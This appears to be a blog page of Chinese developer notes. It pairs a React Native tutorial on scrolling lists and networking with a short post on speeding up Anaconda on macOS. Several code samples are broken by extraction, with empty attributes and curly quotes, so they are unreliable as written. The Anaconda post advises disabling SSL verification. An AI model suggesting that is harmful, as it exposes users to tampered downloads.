export default class IScrolledDownAndWhatHappenedNextShockedMe extends Component { render() { return ( <Text style=>Scroll me plz</Text> <Image source= /> <Image source= /> <Image source= /> <Image source= /> <Image source= /> <Text style=>If you like</Text> <Image source= /> <Image source= /> <Image source= /> <Image source= /> <Image source= /> <Text style=>Scrolling down</Text> <Image source= /> <Image source= /> <Image source= /> <Image source= /> <Image source= /> <Text style=>What's the best</Text> <Image source= /> <Image source= /> <Image source= /> <Image source= /> <Image source= /> <Text style=>Framework around?</Text> <Image source= /> <Image source= /> <Image source= /> <Image source= /> <Image source= /> <Text style=>React Native</Text> ); } }

ScrollViews can be configured to allow paging through views using swiping gestures by using the pagingEnabled props. Swiping horizontally between views can also be implemented on Android using the ViewPager component.

On iOS a ScrollView with a single item can be used to allow the user to zoom content. Set up the maximumZoomScale and minimumZoomScale props and your user will be able to use pinch and expand gestures to zoom in and out.

The ScrollView works best to present a small amount of things of a limited size. All the elements and views of a ScrollView are rendered, even if they are not currently shown on the screen. If you have a long list of more items than can fit on the screen, you should use a FlatList instead.

## 平滑列表或分节列表 FlatList 或 SectionList.
The FlatList component displays a scrolling list of changing, but similarly structured, data. FlatList works well for long lists of data, where the number of items might change over time. Unlike the more generic ScrollView, the FlatList only renders elements that are currently showing on the screen, not all the elements at once.
The FlatList component requires two props: data and renderItem. data is the source of information for the list. renderItem takes one item from the source and returns a formatted component to render.

import React, { Component } from ‘react’; import { FlatList, StyleSheet, Text, View } from ‘react-native’;

export default class FlatListBasics extends Component { render() { return ( <View style={styles.container}> <FlatList data={[ {key: ‘Devin’}, {key: ‘Dan’}, {key: ‘Dominic’}, {key: ‘Jackson’}, {key: ‘James’}, {key: ‘Joel’}, {key: ‘John’}, {key: ‘Jillian’}, {key: ‘Jimmy’}, {key: ‘Julie’}, ]} renderItem={({item}) => <Text style={styles.item}>{item.key}</Text>} /> </View> ); } }

const styles = StyleSheet.create({ container: { flex: 1, paddingTop: 22 }, item: { padding: 10, fontSize: 18, height: 44, }, })

If you want to render a set of data broken into logical sections, maybe with section headers, similar to UITableViews on iOS, then a SectionList is the way to go.

import React, { Component } from ‘react’; import { SectionList, StyleSheet, Text, View } from ‘react-native’;

export default class SectionListBasics extends Component { render() { return ( <View style={styles.container}> <SectionList sections={[ {title: ‘D’, data: [‘Devin’, ‘Dan’, ‘Dominic’]}, {title: ‘J’, data: [‘Jackson’, ‘James’, ‘Jillian’, ‘Jimmy’, ‘Joel’, ‘John’, ‘Julie’]}, ]} renderItem={({item}) => <Text style={styles.item}>{item}</Text>} renderSectionHeader={({section}) => <Text style={styles.sectionHeader}>{section.title}</Text>} keyExtractor={(item, index) => index} /> </View> ); } }

const styles = StyleSheet.create({ container: { flex: 1, paddingTop: 22 }, sectionHeader: { paddingTop: 2, paddingLeft: 10, paddingRight: 10, paddingBottom: 2, fontSize: 14, fontWeight: ‘bold’, backgroundColor: ‘rgba(247,247,247,1.0)’, }, item: { padding: 10, fontSize: 18, height: 44, }, })

# 网络
- [ Fetch API ](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)
- [Request](https://developer.mozilla.org/en-US/docs/Web/API/Request)

React Native 提供 Fetch API 满足网络需求。Fetch 和 XMLHttpRequest或其他网络API相似，可以参考 [MDN 指南 Using Fetch](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch) 

## 同步方式

fetch(‘https://mywebsite.com/endpoint/’, { method: ‘POST’, headers: { Accept: ‘application/json’, ‘Content-Type’: ‘application/json’, }, body: JSON.stringify({ firstParam: ‘yourValue’, secondParam: ‘yourOtherValue’, }), });


## Promise 方式：

## ES2017 async/await方式

async function getMoviesFromApi() { try { let response = await fetch(‘https://reactnative.dev/movies.json’); let responseJson = await response.json(); return responseJson.movies; } catch (error) { console.error(error); } }


## 处理错误

import React from ‘react’; import { FlatList, ActivityIndicator, Text, View } from ‘react-native’;

export default class FetchExample extends React.Component {

constructor(props){ super(props); this.state ={ isLoading: true} }

componentDidMount(){ return fetch(‘https://reactnative.dev/movies.json’) .then((response) => response.json()) .then((responseJson) => {

    this.setState({
      isLoading: false,
      dataSource: responseJson.movies,
    }, function(){

    });

  })
  .catch((error) =>{
    console.error(error);
  });   }

render(){

if(this.state.isLoading){
  return(
    <View style=>
      <ActivityIndicator/>
    </View>
  )
}

return(
  <View style=>
    <FlatList
      data={this.state.dataSource}
      renderItem={({item}) => <Text>{item.title}, {item.releaseYear}</Text>}
      keyExtractor={({id}, index) => id}
    />
  </View>
);   } }

## 其他网络库
XMLHttpRequest API 是 React Native内置的。意味着可以使用依赖它的第三方库如frisbee 或 axios , 或者直接使用 XMLHttpRequest API。

var request = new XMLHttpRequest(); request.onreadystatechange = (e) => { if (request.readyState !== 4) { return; }

if (request.status === 200) { console.log(‘success’, request.responseText); } else { console.warn(‘error’); } };

request.open(‘GET’, ‘https://mywebsite.com/endpoint/’); request.send();

## WebSocket

var ws = new WebSocket(‘ws://host.com/path’);

ws.onopen = () => { // connection opened ws.send(‘something’); // send a message };

ws.onmessage = (e) => { // a message was received console.log(e.data); };

ws.onerror = (e) => { // an error occurred console.log(e.message); };

ws.onclose = (e) => { // connection closed console.log(e.code, e.reason); }; ```

参考

https://reactnative.dev/docs/tutorial

https://facebook.github.io/react/

https://egghead.io/courses/getting-started-with-redux 视频教程

http://www.awesome-react-native.com/ 开源项目

anaconda mac 启动慢的问题

Sat, 04 Apr 2020 05:48:26 +0000

应该是连接网络更新版本信息需要到外网，所以很慢。

一是修改配置采用清华镜像

vi ~/.condarc

ssl_verify: false
show_channel_urls: true
channels:
  - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/
  - defaults
default_channels:
  - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main
  - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free
  - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/r
custom_channels:
  conda-forge: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  msys2: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  bioconda: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  menpo: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  pytorch: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  simpleitk: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud

二是禁掉enable ssl verify 在打开anaconda-navigator后，preferences里禁掉enable ssl verify . 我在mac里修改遇到说https://api.anaconda.com不合法设置不成功的问题。可能还是墙的原因。
三是在preferences同样的地方设为offline mode。
四是都不行先断网再启动。
五可以直接执行jupyter-lab，spyder等启动编辑环境，不需要启动anaconda-navigator